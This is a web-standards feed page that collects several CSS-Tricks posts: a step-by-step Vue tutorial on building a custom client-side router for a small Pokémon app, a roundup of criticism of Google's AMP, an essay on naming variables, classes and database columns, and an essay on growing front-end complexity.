Web Standards

Let’s Build a Custom Vue Router

Css Tricks - Tue, 02/27/2018 - 4:21am

Plenty of tutorials exist that do a great job in explaining how Vue’s official routing library, vue-router, can be integrated into an existing Vue application. vue-router does a fantastic job by providing us with the items needed to map an application’s components to different browser URL routes.

But, simple applications often don’t need a fully fledged routing library like vue-router. In this article, we'll build a simple custom client-side router with Vue. By doing so, we’ll gather an understanding of what needs to be handled to construct client-side routing as well as where potential shortcomings can exist.

Though this article assumes basic knowledge in Vue.js; we'll be explaining things thoroughly as we start to write code!

Routing

First and foremost: let’s define routing for those who may be new to the concept.

In web development, routing often refers to splitting an application’s UI based on rules derived from the browser URL. Imagine clicking a link and having the URL go from https://website.com to https://website.com/article/. That’s routing.

Routing is often categorized in two main buckets:

  • Server-side routing: the client (i.e. the browser) makes a request to the server on every URL change.
  • Client-side routing: the client only makes a request to the server upon initial-page load. Any changes to the application UI based on URL routes are then handled on the client.

Client-side routing is where the term single-page application (or SPA for short) comes in. SPAs are web apps that load only once and are dynamically updated with user interaction without the need to make subsequent requests to the server. With routing in SPAs, JavaScript is the driving force that dynamically renders different UI.

Now that we have a brief understanding of client-side routing and SPAs, let’s get an overview of what we’ll be working on!

Case Study: Pokémon

The app we aim to construct is a simple Pokémon app that displays details of a particular Pokémon based on the URL route.

The application will have three unique URL routes: /charizard, /blastoise, and /venusaur. Based on the URL route entered, a different Pokémon will be shown:

In addition, footer links exist at the bottom of the application to direct the user to each respective route upon click:

Do We Even Need Routing for This?

For simple applications like this, we don’t necessarily need a client-side router to make our app functional. This particular app could be composed of a simple parent-child component hierarchy that uses Vue props to dictate the information that should be displayed. Here’s a Pen that shows just this:

See the Pen Vue Pokemon by Hassan Dj (@itslit) on CodePen.

Though the app would functionally work, it misses a substantial feature that’s expected from most web applications—responding to browser navigation events. We’d want our Pokémon app to be accessible and to show different details for different pathnames: /charizard, /blastoise, and /venusaur. This would allow users to refresh different pages and keep their location in the app, bookmark the URLs to come back to later, and potentially share the URL with others. These are some of the main benefits of creating routes within an application.

Now that we have an idea of what we’ll be working on, let’s start building!

Preparing the App

The easiest way to follow along step-by-step (if you wish to do so) is to clone the GitHub repo I've set up.

Download on GitHub

When cloned, install the project dependencies with:

npm install

Let’s take a brief look within the project directory.

$ ls README.md index.html node_modules/ package.json public/ src/ static/ webpack.config.js

There also exists the hidden files, .babelrc and .gitignore within the project scaffold.

This project is a simple webpack-configured application scaffolded with vue-cli, the Vue command line interface.

index.html is where we declare the DOM element—#app— with which we'll use to mount our Vue application:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.5.3/css/bulma.css"> <link rel="stylesheet" href="../public/styles.css" /> <title>Pokémon - Routing</title> </head> <body> <div id="app"></div> <script src="/dist/build.js"></script> </body> </html>

In the <head> tag of the index.html file, we introduce Bulma as our application’s CSS framework and our own styles.css file that lives in the public/ folder.

Since our focus is on the usage of Vue.js, the application already has all the custom CSS laid out.

The src/ folder is where we’ll be working directly from:

$ ls src/ app/ main.js

src/main.js represents the starting point of our Vue application. It’s where our Vue instance is instantiated, where we declare the parent component that is to be rendered, and the DOM element #app with which our app is to be mounted to:

import Vue from 'vue'; import App from './app/app'; new Vue({ el: '#app', render: h => h(App) });

We’re specifying the App component, from the src/app/app.js file, to be the main parent component of our application.

In the src/app directory, there exists two other files - app-custom.js and app-vue-router.js:

$ ls src/app/ app-custom.js app-vue-router.js app.js

app-custom.js denotes the completed implementation of the application with a custom Vue router (i.e. what we'll be building in this article). app-vue-router.js is a completed routing implementation using the vue-router library.

For the entire article, we’ll only be introducing code to the src/app/app.js file. With that said, let’s take a look at the starting code within src/app/app.js:

const CharizardCard = { name: 'charizard-card', template: ` <div class="card card--charizard has-text-weight-bold has-text-white"> <div class="card-image"> <div class="card-image-container"> <img src="../../static/charizard.png"/> </div> </div> <div class="card-content has-text-centered"> <div class="main"> <div class="title has-text-white">Charizard</div> <div class="hp">hp 78</div> </div> <div class="stats columns is-mobile"> <div class="column">&#x1f525;<br> <span class="tag is-warning">Type</span> </div> <div class="column center-column">199 lbs<br> <span class="tag is-warning">Weight</span> </div> <div class="column">1.7 m <br> <span class="tag is-warning">Height</span> </div> </div> </div> </div> ` }; const App = { name: 'App', template: ` <div class="container"> <div class="pokemon"> <pokemon-card></pokemon-card> </div> </div> `, components: { 'pokemon-card': CharizardCard } }; export default App;

Currently, two components exist: CharizardCard and App. The CharizardCard component is a simple template that displays details of the Charizard Pokémon. The App component declares the CharizardCard component in its components property and renders it as <pokemon-card></pokemon-card> within its template.

We currently only have static content with which we’ll be able to see if we run our application:

npm run dev

And launch localhost:8080:

To get things started, let’s introduce two new components: BlastoiseCard and VenusaurCard that contains details of the Blastoise and Venusaur Pokémon respectively. We can lay out these components right after CharizardCard:

const CharizardCard = { // ... }; const BlastoiseCard = { name: 'blastoise-card', template: ` <div class="card card--blastoise has-text-weight-bold has-text-white"> <div class="card-image"> <div class="card-image-container"> <img src="../../static/blastoise.png"/> </div> </div> <div class="card-content has-text-centered"> <div class="main"> <div class="title has-text-white">Blastoise</div> <div class="hp">hp 79</div> </div> <div class="stats columns is-mobile"> <div class="column">&#x1f4a7;<br> <span class="tag is-light">Type</span> </div> <div class="column center-column">223 lbs<br> <span class="tag is-light">Weight</span> </div> <div class="column">1.6 m<br> <span class="tag is-light">Height</span> </div> </div> </div> </div> ` }; const VenusaurCard = { name: 'venusaur-card', template: ` <div class="card card--venusaur has-text-weight-bold has-text-white"> <div class="card-image"> <div class="card-image-container"> <img src="../../static/venusaur.png"/> </div> </div> <div class="card-content has-text-centered"> <div class="main"> <div class="title has-text-white">Venusaur</div> <div class="hp hp-venusaur">hp 80</div> </div> <div class="stats columns is-mobile"> <div class="column">&#x1f343;<br> <span class="tag is-danger">Type</span> </div> <div class="column center-column">220 lbs<br> <span class="tag is-danger">Weight</span> </div> <div class="column">2.0 m<br> <span class="tag is-danger">Height</span> </div> </div> </div> </div> ` }; const App = { // ... }; export default App;

With our application components established, we can now begin to think how we’ll create routing between these components.

router-view

To establish routing, we’ll start by buiding a new component that holds the responsibility to render a specified component based on the app’s location. We’ll create this component in a constant variable named View.

Before we create this component, let’s see how we might use it. In the template of the App component, we’ll remove the declaration of <pokemon-card> and instead render the upcoming router-view component. In the components property; we’ll register the View component constant as <router-view> to be declared in the template.

const App = { name: 'App', template: ` <div class="container"> <div class="pokemon"> <router-view></router-view> </div> </div> `, components: { 'router-view': View } }; export default App;

The router-view component will match the correct Pokémon component based on the URL route. This matching will be dictated in a routes array that we’ll create. We’ll create this array right above the App component:

const CharizardCard = { // ... }; const BlastoiseCard = { // ... }; const VenusaurCard = { // ... }; const routes = [ {path: '/', component: CharizardCard}, {path: '/charizard', component: CharizardCard}, {path: '/blastoise', component: BlastoiseCard}, {path: '/venusaur', component: VenusaurCard} ]; const App = { // ... }; export default App;

We’ve set each Pokémon path to their own respective component (e.g. /blastoise will render the BlastoiseCard component). We’ve also set the root path / to the CharizardCard component.

Let’s now begin to create our router-view component.

The router-view component will essentially be a mounting point to dynamically switch between components. One way we can do this in Vue is by using the reserved <component> element to establish Dynamic Components.

Let’s create a starting point for router-view to get an understanding of how this works. As mentioned earlier; we’ll create router-view within a constant variable named View. So with that said, let’s set up View right after our routes declaration:

const CharizardCard = { // ... }; const BlastoiseCard = { // ... }; const VenusaurCard = { // ... }; const routes = [ // ... ]; const View = { name: 'router-view', template: `<component :is="currentView"></component>`, data() { return { currentView: CharizardCard } } }; const App = { // ... }; export default App;

The reserved <component> element will render whatever component the is attribute is bound to. Above, we’ve attached the is attribute to a currentView data property that simply maps to the CharizardCard component. As of now, our application resembles the starting point by displaying CharizardCard regardless of what the URL route is.

Though router-view is now appropriately rendered within App, it’s not currently dynamic. We need router-view to display the correct component based on the URL pathname upon page load. To do this, we’ll use the created() hook to filter the routes array and return the component that has a path that matches the URL path. This would make View look something like this:

const View = { name: 'router-view', template: `<component :is="currentView"></component>`, data() { return { currentView: {} } }, created() { this.currentView = routes.find( route => route.path === window.location.pathname ).component; } };

In the data function, we’re now instantiating currentView with an empty object. In the created() hook, we’re using JavaScript’s native find() method to return the first object from routes that matches route.path === window.location.pathname. We can then get the component with object.component (where object is the returned object from find()).

Inside a browser environment, window.location is a special object containing the properties of the browser’s current location. We grab the pathname from this object which is the path of the URL.

At this stage; we'll be able to see the different Pokémon Card components based on the state of our browser URL!

The BlastoiseCard component now renders at the /blastoise route.

There’s something else we should consider. If a random URL pathname is entered, our app will currently error and present nothing to the view.

To avoid this, let’s introduce a simple check to display a "Not Found" template if the URL pathnamedoesn’t match any path existing in the routes array. We’ll separate out the find() method to a component method named getRouteObject() to avoid repetition. This updates the View object to:

const View = { name: 'router-view', template: `<component :is="currentView"></component>`, data() { return { currentView: {} } }, created() { if (this.getRouteObject() === undefined) { this.currentView = { template: ` <h3 class="subtitle has-text-white"> Not Found :(. Pick a Pokémon from the list below! </h3> ` }; } else { this.currentView = this.getRouteObject().component; } }, methods: { getRouteObject() { return routes.find( route => route.path === window.location.pathname ); } } };

If the getRouteObject() method returns undefined, we display a "Not Found" template. If getRouteObject()returns an object from routes, we bind currentView to the component of that object. Now if a random URL is entered, the user will be notified:

The "Not Found" view is rendered if the URL pathname does not match any of the values in the routes array.

The "Not Found" template tells the user to pick a Pokémon from a list. This list will be the links we’ll create to allow the user to navigate to different URL routes.

Awesome! Our app is now responding to some external state, the location of the browser. router-view determines which component should be displayed based on the app’s location. Now, we need to construct links that will change the location of the browser without making a web request. With the location updated, we want to re-render our Vue app and rely on router-view to appropriately determine which component to render.

We’ll label these links as router-link components.

router-link

In web interfaces, we use HTML <a> tags to create links. What we want here is a special type of <a> tag. When the user clicks on this tag, we’ll want the browser to skip its default routine of making a web request to fetch the next page. Instead, we just want to manually update the browser’s location.

Let’s compose a router-link component that produces an <a> tag with a special click binding. When the user clicks on the router-link component, we’ll use the browser’s history API to update the browser’s location.

Just like we did with router-view, let’s see how we’ll use this component before we build it.

In the template of the App component, let’s create three <router-link> elements within a parent <div class="pokemon-links"></div> element. Rather than using the href attribute in <router-link>, we’ll specify the desired location of the link using a to attribute. We’ll also register the upcoming router-link component (from a Link constant variable) in the App components property:

const App = { name: 'App', template: ` <div class="container"> <div class="pokemon"> <router-view></router-view> <div class="pokemon-links has-text-centered"> <router-link to="/charizard"></router-link> <router-link to="/blastoise"></router-link> <router-link to="/venusaur"></router-link> </div> </div> </div> `, components: { 'router-view': View, 'router-link': Link } };

We’ll create the Link object that represents router-link right above the App component. We've established the router-link component should always be given a to attribute (i.e. prop) that has a value of the target location. We can enforce this prop validation requirement like so:

const CharizardCard = { // ... }; const BlastoiseCard = { // ... }; const VenusaurCard = { // ... }; const routes = [ // ... ]; const View = { // ... }; const Link = { name: 'router-link', props: { to: { type: String, required: true } } }; const App = { // ... }; export default App;

We can create the template of router-link to consist of an <a> tag with an @click handler attribute. Upon trigger, the @click handler will call a component method, labeled navigate(), that navigates the browser to the desired location. This navigation will occur with the use of the history.pushState() method. With that said, the Link constant object will be updated to:

const Link = { name: 'router-link', props: { to: { type: String, required: true } }, template: `<a @click="navigate" :href="to">{{ to }}</a>`, methods: { navigate(evt) { evt.preventDefault(); window.history.pushState(null, null, this.to); } } };

Within the <a> tag, we’ve bound the value of the to prop to the element text content with {{ to }}.

When navigate() is triggered, it first calls preventDefault() on the event object to prevent the browser from making a web request for the new location. The history.pushState() method is then called to direct the user to the desired route location. history.pushState() takes three arguments:

  • a state object to pass serialized state information
  • a title
  • the target URL

In our case, there is no state information that’s needed to be passed, so we've left the first argument as null. Some browsers (e.g. Firefox) currently ignore the second parameter, title, hence we’ve left that as null as well.

The target location, the to prop, is passed in to the third and last parameter. Since the to prop contains the target location in a relative state, it will be resolved relative to the current URL. In our case, /blastoise will resolve to http://localhost:8080/blastoise.

If we click any of the links now, we’ll notice our browser updates to the correct location without a full page reload. However, our app will not update and render the correct component.

This unexpected behaviour happens because when router-link is updating the location of the browser, our Vue app is not alerted of the change. We’ll need to trigger our app (or simply just the router-view component) to re-render whenever the location changes.

Though there’s a few ways to accomplish this behaviour, we’ll do this by using a custom EventBus. An EventBus is a Vue instance responsible in allowing isolated components to subscribe and publish custom events between each other.

At the beginning of the file, we’ll import the vue library and create an EventBus with a new Vue() instance:

import Vue from 'vue'; const EventBus = new Vue();

When a link has been clicked, we need to notify the necessary part of the application (i.e. router-view) that the user is navigating to a particular route. The first step is to create an event emitter using the EventBus's events interface in the navigate() method of router-link. We’ll give this custom event a name of navigate:

const Link = { // ..., methods: { navigate(evt) { evt.preventDefault(); window.history.pushState(null, null, this.to); EventBus.$emit('navigate'); } } };

We can now set the event listener/trigger in the created() hook of router-view. By setting the custom event listener outside of the if/else statement, the created() hook of View will be updated to:

const View = { // ..., created() { if (this.getRouteObject() === undefined) { this.currentView = { template: ` <h3 class="subtitle has-text-white"> Not Found :(. Pick a Pokémon from the list below! </h3> ` }; } else { this.currentView = this.getRouteObject().component; } // Event listener for link navigation EventBus.$on('navigate', () => { this.currentView = this.getRouteObject().component; }); }, // ... };

When the browser’s location changes by clicking a <router-link> element, this listening function will be invoked, re-rendering router-view to match against the latest URL!

Great! Our app now navigates appropriately as we click each of the links.

There’s one last thing we need to consider. If we try to use the browser back/forward buttons to navigate through the browser history, our application will not currently re-render correctly. Although unexpected, this occurs because no event notifier is emitted when the user clicks browser back or browser forward.

To make this work, we’ll use the onpopstate event handler.

The onpopstate event is fired each time the active history entry changes. A history change is invoked by clicking the browser back or browser forward buttons, or calling history.back() or history.forward() programmatically.

Right after our EventBus creation, let’s set up the onpopstate event listener to emit the navigate event when a history change is invoked:

window.addEventListener('popstate', () => { EventBus.$emit('navigate'); });

Our application will now respond appropriately even when the browser navigation buttons are used!

And there we have it! We’ve just built a custom Vue router using an EventBus and dynamic components. Even with the tiny size of our app we can enjoy a noticeable performance improvement. Avoiding a full page load also saves hundreds of milliseconds and prevents our app from "blinking" during the page change.

Conclusion

I love Vue. One reason as to why - it's incredibly easy to use and manipulate Vue components just like we saw in this article.

In the introduction, we mentioned how Vue provides the vue-router library as the official routing library of the framework. We’ve just created simple versions of the same main items that are used in vue-router:

  • routes: the array responsible in mapping components to respective URL pathnames.
  • router-view: the component that renders a specified app component based on the app’s location
  • router-link: the component that allows the user to change the location of the browser without making a web request.

For very simple applications, the routing we’ve built (or a variation thereof like this one built by Chris Fritz) can do the minimal amount of work needed to route our applications.

The vue-router library, on the other hand, is built in a more complicated manner and introduces incredibly useful capabilities, often needed in larger applications like:

Though the vue-router library does come with additional boilerplate, it’s fairly easy to integrate once your application is composed of well isolated and distinct components. If you're interested, you can see the components of vue-router being used to enable routing in this application here.

Hopefully this was as enjoyable to you as it was for me in compiling this post! Thanks for reading!

This article is an adapted (and summarized) segment from the upcoming book, Fullstack Vue, that I’m working on with the Fullstack.io team! Having the opportunity to work with the folks at Fullstack has been nothing short of being a blast. In true Fullstack fashion, the book covers numerous facets of Vue including but not restricted to routing, simple state management, form handling, Vuex, server persistence, and testing. If this is something that piques your interest or if you have any questions at all, follow (or message) me on twitter (@djirdehh)! If the above doesn’t pique your interest, you can still follow me anyway. &#x1f61b;

Let’s Build a Custom Vue Router is a post from CSS-Tricks

Dashboard Design User Experience Guidelines

Usability Geek - Mon, 02/26/2018 - 11:44am
Systems are becoming more integrated and able to relay back qualitative, and more often quantitative, data at various degrees of frequency and complexity. In this scenario, information visualisation...
Categories: Web Standards

AMP News

Css Tricks - Mon, 02/26/2018 - 11:26am

AMP is controversial, to say the least. Dave and I did a show on it about a year ago that to me felt fairly balanced in addressing some of the issues. Let's cover some recent news and responses.

One thing that isn't usually controversial: it's fast. AMP pages are damn performant. Even that, though, is contentious. Ferdy Christant notes:

Technically correct AMP pages will perform very similar to any non-horrible web page.

The difference between AMP performing instantly and getting numbers ranging from 2–8s as seen above have to be explained.

Part of that answer you can probably guess: the cache is simply very fast. It’s hard to compete with a Google-class CDN.

You don't need AMP to have a fast website.

FYI @CityLab article pages load faster than @nytimes AMP pages. Just to show you do not need AMP to have fast loading pages #webperf pic.twitter.com/34YboEBwLP

— Michael Donohoe (@donohoe) February 23, 2018

The most controversial bit is that carrot offered for using AMP: the search results news carousel. The carousel is extremely prominent in Google search results, and AMP is a one-way ticket to get in. You could make a site faster than AMP, but that doesn't meet the criteria for entry. Tim Kadlec:

there has been no indication of any attempt to address the first issue, that of incentivization and premium placement. In fact, not only has there been no attempt to fix it, it appears the AMP team is doubling-down on those incentives instead.

Doubling-down, as in, AMP stories will be released soon and will also enjoy premium placement on Google. Every indication is that the primary desire of people reaching for AMP is the preferential search results treatment. Gina Trapani:

In my experience people are motivated to use AMP… I’ve seen this from our clients…mostly because of SEO. They want it in that top stories carousel, they want that lightning bolt of approval in regular search results which is happening now.

Of course, Google can do whatever they want. They are an independent company and if they wanna tell us that we have to use a special format to have benefits on their platform, then that's the way it is. It doesn't mean we have to be happy about it. Hundreds of people have signed the AMP letter, which calls for two changes:

  1. Instead of granting premium placement in search results only to AMP, provide the same perks to all pages that meet an objective, neutral performance criterion such as Speed Index. Publishers can then use any technical solution of their choice.
  2. Do not display third-party content within a Google page unless it is clear to the user that they are looking at a Google product. It is perfectly acceptable for Google to launch a “news reader” but it is not acceptable to display a page that carries only third-party branding on what is actually a Google URL, nor to require that third party to use Google’s hosting in order to appear in search results.

Ethan Marcotte is concerned:

absent action from some sort of regulatory body, I’m not sure what influence you or I could exert to change the trajectory of AMP

...but thinks we could perhaps collectively have influence. Jeremy Keith has called some of the messaging behind AMP an outright lie:

I don’t think the developers working on the AMP format are intentionally deceptive (although they are engaging in some impressive cognitive gymnastics). The AMP ecosystem, on the other hand, that’s another story—the preferential treatment of Google-hosted AMP pages in the carousel and in search results; that’s messed up.

Jeremy also notes that the power Google is exerting here is worrisome. Part of the stated motivation is trying to fix the web. Taking a stand, as it were.

I remember feeling very heartened to see WikiPedia, Google and others take a stand on January 18th, 2012 (against SOPA and PIPA). But I also remember feeling uneasy. In this particular case, companies were lobbying for a cause I agreed with. But what if they were lobbying for a cause I didn’t agree with? Large corporations using their power to influence politics seems like a very bad idea. Isn’t it still a bad idea, even if I happen to agree with the cause?

Cloudflare quite rightly kicked The Daily Stormer off their roster of customers. Then the CEO of Cloudflare quite rightly wrote this in a company-wide memo:

Literally, I woke up in a bad mood and decided someone shouldn’t be allowed on the Internet. No one should have that power.

There’s an uncomfortable tension here.

AMP is also expanding to other technology, notably email. Well, Gmail, that is. Fast, well-rendering, interactive emails seem like a hugely positive thing. Perhaps predictably at this point, people in that industry have similar concerns. Jason Rodriguez:

I’m an email guy. I’ve written three books on email, spoken at a bunch of conferences on the topic, and help build tools for other email folks at my day job. I love seeing the email platform grow and evolve. I love seeing people working on interesting ideas that make email more valuable for the subscribers that receive them.

So, you’d think I’d be thrilled by Google’s announcement about adding dynamic content and interactivity to Gmail with AMP for Email. You’d be wrong.

Jason's primary concern being that instead of improving support for what we already have, they've invented a new format and called it open-sourced, but have full control over it. However, with far more blockers in the way (e.g. ESPs not supporting the new MIME type) and less carrots to offer, it seems like a long shot it will happen.

I know I've covered a lot of negative news here, but that's mostly what I've been seeing. Strangely enough, I feel more interested in watching how this all shakes out than I am motivated to weigh in on either side.

AMP News is a post from CSS-Tricks

Working Towards Better Naming

Css Tricks - Mon, 02/26/2018 - 4:12am

There is a quote that I bet every one of you has heard many times. You know the one. The one that reminds you how hard naming is.

Let’s talk names.

We talk often about how hard naming is, but it’s less common see people talk about how to get better at it. Even naming philosophies lend structure to naming, but don’t pick names for you. Names are more than just some hard thing we get needlessly caught up in. They're essential to good code. Good names can make a code base easy to pick up and work with. Bad names are hard to understand, or worse yet, prone to error.

Naming Examples

Let’s look at some examples in JavaScript.

function processData(data) { var result = JSON.parse(data); return result; }

Reading only the function name, parameter name, and returned variable, we see that processData gets data and returns a result. These names have added nearly zero information to the reader. Code like this is easy to write when you just want to get it working or you're trying to stay flexible to changes, and that's okay. It's always a good idea to go over your code with fresh eyes to fix things, and names should be on your quality checklist.

Here's a more descriptive way we could have written the last example:

function parseJson(string) { var jsonObject = JSON.parse(string); return jsonObject; }

Technology is one of the most abbreviation and acronym heavy fields there are, and they are key to great names. FTP is easier to read and understand than "File Transfer Protocol." In some cases though, the reader can be left out.

Here's an example where the abbreviations are convenient for the developer writing the code, but not so handy for anyone else who needs to read or contribute to it:

function cts(con, ack) { if (con && ack) { return true; } else { return false; } }

Often I'll read code with an acronym and have to switch to my web browser to do a search, only to find results for car models. A perfect example of that is cts, which returns a lot of Cadillac results. ack does show up on a search, but I'd rather not leave it my text editor. con can be misunderstood many ways. Is it a connection? A count? A container? Maybe it's a scam. These things may be obvious if you are familiar with the code base, but it adds a learning curve to those joining the project. A few extra seconds can save several minutes for readers over years.

Here's the previous example written without abbreviations:

function clearToSend(connectionExists, acknowledgementStatus) { if (connectionExists && acknowledgementStatus) { return true; } else { return false; } }

Let's turn to some HTML examples because HTML is perhaps the most name heavy language of them all.

<section class="new-promotion-parent"> <img class="logo" src="small-square-logo-monochrome.png"/> <div class="get-your-coupon"> <p>Get Your Coupon</p> </div> </section>

We can imagine that the word "new" was used here likely because a designer was told to update the promotion-parent element, but to also keep support for the existing class, maybe for old HTML floating about. The term "new" is an accurate description for the first few months, but over time it becomes more and more ironic. A better idea might be to add a separate class that describes what is new. For example, if a new flat design is being implemented, then a class name of flat-design might work. For an added bonus, you can let the CSS from the existing promotion-parent class cascade if you'd like to reuse some of the styles.

Similarly, logo seems like a sensible class name at first. Inevitably, however, a second logo will come along somewhere, which gets the name alt-logo. The logos keep coming, and so do the increasingly bad names. Most assets have several variations, such as different shapes, sizes, color schemes and more. That said, small-square-logo-monochrome wouldn't be a great class name either, because the image itself should be able to be swapped without the class name becoming obsolete. A better idea might be a name that describes the role of the asset rather than the type or appearance.

Here, the language of the div has been used to name the div get-your-coupon. The content of an HTML document is meant to continually evolve; names are not. A coupon code today might be an email signup in the future, while keeping the same styles and functionality. HTML is one place where names are often too specific instead of too vague.

Here's that same HTML code taking the suggestions into consideration:

<section class="flat-design promotion-parent"> <img class="promotion-branding-image" src="small-square-logo-monochrome.png"/> <div class="primary-promotion-text"> <p>Get Your Coupon</p> </div> </section>

We can even look at the names in a database for better naming. Tables often get used countless times across an application in several very different contexts.

Here's a simplified database table:

CREATE TABLE `book` ( `id` int(12) NOT NULL, `title` varchar(50) NOT NULL, `author` varchar(50) NOT NULL, `type` bit(1) NOT NULL, `sort` int(12) NOT NULL, `order` varchar(25) NOT NULL, ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

What does type mean in the context of books? Does it mean fiction or non-fiction? Does it mean paperback or hardcover? Maybe it means physical or digital?

The sort column is equally confusing. Is it representing ASC or DESC? Does it represent which column is being used to sort? Maybe it decides if sorting is active? Or maybe it decides show the books in some other alternate order?

And then there's order. Aside from being equally ambiguous, order is a reserved word in MySQL and many other languages. You can work around this using backticks (`) for MySQL, but it's probably a better idea to avoid using reserved words altogether.

Here's how the table could be written in a more descriptive way:

CREATE TABLE `book` ( `id` int(12) NOT NULL, `title` varchar(50) NOT NULL, `author` varchar(50) NOT NULL, `cover_type` bit(1) NOT NULL, `sort_order` int(12) NOT NULL, `purchase_order_number` varchar(25) NOT NULL, ) ENGINE=InnoDB DEFAULT CHARSET=utf8; Naming Conventions

Let's talk naming conventions.

if (oldmanshaven) { return true; }

Did you read that as Old Mans Haven or Old Man Shaven? Either way, it forces you to slow down and think which adds up and might one day lead to a misunderstanding. PascalCase, camelCase, snake_case, kebab-case are all excellent choices. Use them, and just as important, be consistent.

Here's that same code in snake_case, which is less likely to be misread:

if (old_man_shaven) { return true; }

One more example:

if (!isNaN(number)) { alert('not a number') } else if (!number > 50) { alert('number too large') } else if (!number < 10) { alert('number too small') } else { // code here }

I looked at some of my first lines of code for inspiration writing this post. I didn't see many bad names because I wrote code in a way that didn't use names. I used very few functions, rarely used assignments, and would abuse variables by making them do a dozen different things. Having plenty of names in your code is often a sign that you're abstracting things properly.

Here's one example from my code:

function validateNumber(number) { var maximumValue = 50; var minimumValue = 10; if (isNaN(number)) { alert('not a number') return false; } if (number > maximumValue) { alert('number too large') return false; } if (number < minimumValue) { alert('number too small') return false; } } if (validateNumber(number)) { // code here } Caveats

Naming things is an art, not a science. There's some things outside the name to consider when evaluating if a name is good or bad.

Context

Context can give generic terms much more meaning. For example, "item" is a vague name but, in the context of a getCustomerSalesOrder() function, we can tell it likely refers to a product that was purchased. A function that is short, focused, and takes context into account can reduce the need for verbose names. I still prefer a good name. Context can disappear easily over time as functions get longer or re-factored. Names are more permanent markers of meaning.

Comments

Code comments are important to readable code, but they can't do it all by themselves. Comments should pick up where names leave off, giving details you can't cram into a name, noting the reason for a particular way of doing things, or ranting about a broken library.

/* This refers to a product that was purchased and relates to the customer-sales-order class. */ .product-item { display: block; text-transform: uppercase; width: 100vw; } Reading Length

Longer names create more to read and wider lines. It can especially be problematic when accessing deep into an array, such as:

$order_details['customer']['ship_to_address']['default']['street_address']['line_1']

That said, even that straw man example I just gave, while verbose, is crystal clear and gives me no reason to stop reading to think or look over the rest of the function to understand the context.

Names are everywhere in Code

Most of the characters of a code file probably aren't brackets or syntax, but names. It might be variable names, function names, HTML tags or attributes, database tables or columns, or any of the countless things that we give names to in any given project.

I still struggle with naming things. I often find myself sitting frozen at my text editor, trying to name some minor variable. I've learned that when that happens, it's likely because I'm dealing with something difficult to conceptualize, which makes it all the more important to find the right name for it.

Working Towards Better Naming is a post from CSS-Tricks

Complexity

Css Tricks - Fri, 02/23/2018 - 10:37am

Frank Chimero published a new talk-turned-essay, Everything Easy is Hard Again.

May we all be as wonderfully self-reflective and eloquent as Frank one day. There is a lot there, so please read it. Part of the theme is that web design and development has seemingly repetitive cycles that can kick even quite experienced people back down the ladder:

I don’t feel much better at making [websites] after 20 years. My knowledge and skills develop a bit, then things change, and half of what I know becomes dead weight. This hardly happens with any of the other work I do.

And complexity is to blame.

Complexity is one of those in the water topics right now. Kevin Ball wrote "we are in the midst of a massive and rapid period shift in complexity from the backend to the front." Roneesh just celebrated untangling all this front end complexity in his own mind and shared his thoughts.

I've read a good number of responses to Frank's article as well. I particularly liked our own Robin Rendle's from the newsletter:

I believe the reason for all this complexity and nuance in the work is because we no longer expect the web to be a series of simple, hyperlinked documents.

Our expectations, as users of the web, have now completely changed.

Websites are machines in and of themselves; they have state, notifications, alerts and warnings, components that appear under certain circumstances, location-aware features and complexity beyond anything we were building fifteen years ago. There are more devices and viewport widths rendering our websites with increasingly difficult performance requirements.

That feels right to me. It's just what I was feeling when I wrote What is the Future of Front End Web Development?

What websites are being asked to do is rising. Developers are being asked to build very complicated things very quickly and have them work very well and very fast.

Though, Frank points out that even layout, fonts, and images have ballooned in complexity. The cause there I'd argue is the rightful focus (and really, demand for) performance. But reactions to complexity are usually those things plus a dozen or two other things.

Perhaps things didn't get complicated for no reason, and instead got complicated to compete. The web can do more, so we ask it to do more.

It's tempting to think that the complexity comes entirely from that moreness. Embracing more of the potential of the web, playing catchup with native apps, and building more powerful tools for people. But I'm sure the whole story is more (ahem) complicated. Someone once told me the reason they think developer tooling has evolved and gotten more complicated is that developers generally aren't asked to innovate on the business and product side. They build what they are told to, so they use their smarts to innovate on their own tools.

It depends though. A few personal examples.

I've been running CSS-Tricks for over a decade. It's a garden variety WordPress site, and while it's certainly evolved, it's not all that much more complicated today as it was in the first few years. I've gotten better at working on it, in part because it's changed so little that I'm more comfortable doing that work. I know just what all the spinning gears do and just where to put the oil, most of the time.

On the other hand, through CodePen, I've experienced a long product development which started fairly simple and has come to extreme complexity. We sometimes question if we've overdone the complexity, but for the most part, each step in that direction has been a response to make something else, ironically enough, less complicated. One example of that was the adding of React'n'Redux'n'Friends, which was a step up in the complexity of the development workflow, build, and deploy processes but, believe it or not, was a step down in a complexity of the codebase. These tools help us build faster, debug easier, stay well tested, and provide a performant experience, to name some of the benefits. We didn't add tooling just for kicks; we added tooling because we had growing problems to address.

Not everyone has the same problems. The web is a big place is a phrase I see thrown around sometimes, and I like it. Over a billion websites, they say. A big place indeed.

Check out Dan Cederholm's favorite website:

It’s not responsive. It’s not optimized for iPhone. It looks blurry on a Retina display. It doesn’t use the latest HTML5/CSS3 framework. It doesn’t have a thoughtful vertical rhythm. The fonts are nothing special. It is neither skeuomorphic nor flat. It doesn’t have its own favicon. It doesn’t have a native app or Twitter or Instagram. It doesn’t use AJAX or SCRUM or node.js or Sinatra. It doesn’t have an API or an RSS feed or VC funding. It hasn’t been featured on a prominent tech blog or won an award.

It tells me the soups of the day.

I suspect it doesn't need any more complexity, and literally nobody is advocating it does. That's why that the web is a big place sentiment is so useful. We talk about complexity, but it's all opt-in. A wonderfully useful (and simple) website of a decade ago remains wonderfully useful and simple. Fortunately for all involved, the web, thus far, has taken compatibility quite seriously. Old websites don't just break.

I'll bet the bits in Frank's essay about web layout will strike a chord to many readers of this site. Frank makes the connection between table layout and grid layout. It's not a rare sentiment. For example:

Let's not fool ourselves. CSS grid = <table> and you know it / #100daysofcode

— JavaScript Teacher (@js_tut) February 13, 2018

I'm sure Frank understands the benefits of the new grid layout (e.g. try re-arranging a <table> at a media query breakpoint), but the sentiment was more about cycles than a deep technical dive.

I'd say a reasonable argument could be made that, with CSS in particular, things are easier these days. CSS of old had us biting our fingernails about cross-browser support, scattering vendor prefixes throughout our code, and (lol) saying a prayer to the box model. Eric Meyer, despite publishing a heavy tome of CSS knowledge lately, says:

CSS has a great deal more capabilities than ever before, it’s true. In the sense of “how much there potentially is to know”, yes, CSS is more of a challenge.

